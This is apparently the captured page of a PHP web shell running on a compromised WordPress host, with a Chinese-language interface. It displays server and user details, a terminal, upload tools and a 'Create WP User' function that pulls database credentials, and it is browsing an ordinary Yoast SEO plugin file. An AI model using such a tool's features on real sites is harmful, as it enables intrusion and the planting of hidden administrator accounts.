Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
ai
/
generator
/
infrastructure
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
endpoints
[目录]
drwxr-xr-x
2026-05-07 09:19
wordpress-urls.php
1.08 KB
-rw-r--r--
2026-05-07 09:19
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
wordpress-urls.php
<?php // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure. namespace Yoast\WP\SEO\AI\Generator\Infrastructure; use WPSEO_Utils; use Yoast\WP\SEO\AI\Generator\Domain\URLs_Interface; /** * Class WordPress_URLs * Provides URLs for the AI Generator API in a WordPress context. */ class WordPress_URLs implements URLs_Interface { /** * Gets the license URL. * * @return string The license URL. */ public function get_license_url(): string { return WPSEO_Utils::get_home_url(); } /** * Gets the callback URL to be used by the API to send back the access token, refresh token and code challenge. * * @return string The callbacks URL. */ public function get_callback_url(): string { return \get_rest_url( null, 'yoast/v1/ai_generator/callback' ); } /** * Gets the callback URL to be used by the API to send back the refreshed JWTs once they expire. * * @return string The callbacks URL. */ public function get_refresh_callback_url(): string { return \get_rest_url( null, 'yoast/v1/ai_generator/refresh_callback' ); } }
关闭
保存